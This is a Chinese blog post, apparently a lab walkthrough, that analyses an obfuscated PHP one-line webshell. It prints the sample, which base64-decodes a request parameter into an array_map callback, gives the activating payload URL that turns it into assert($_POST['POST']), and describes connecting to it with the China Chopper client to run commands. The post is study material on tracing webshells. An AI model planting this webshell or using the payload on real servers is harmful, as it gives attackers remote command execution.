zoukankan      html  css  js  c++  java
  • WebShell代码分析溯源(七)

    WebShell代码分析溯源(七)

    一、一句话变形马样本

    <?php

    $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?>

    二、代码分析

    1、调整代码格式

      

    2、分析代码

    分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。

    注:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

    回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

    参考:https://www.w3school.com.cn/php/func_array_map.asp

    3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0,这时再次分析代码,array_map(base64_decode($e), $arr),就变成了array_map(assert, $arr),assert为自定义函数,assert函数作用于arrs数组中的每一个值上,此时构造了一句话木马assert($_POST['POST'])

    三、漏洞环境搭建

    1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第6题)),地址: https://www.mozhe.cn/bug/detail/b1VaQzhxUzZTN0VYMVQvTHdzUWZ1UT09bW96aGUmozhe

    2、代码环境,下载代码

      

    3、分析(上面已经分析过了)

    4、使用菜刀连接

      

    5、执行一些命令

      

    四、后记

    学习代码审计工具---Seay源代码审计系统

    使用Seay源代码审计系统进行代码审计

      

  • 相关阅读:
    制作自己的漫画书
    VOIP-- 打电话
    python批量给图片添加logo
    python图片拼接
    一种下载电影很快的方法 you-get
    运动健身
    深圳朋友来玩
    多关键字排序实验
    最小生成树实验
    MySQL命令大全(值得一看)
  • 原文地址:https://www.cnblogs.com/yuzly/p/11751605.html
Copyright © 2011-2022 走看看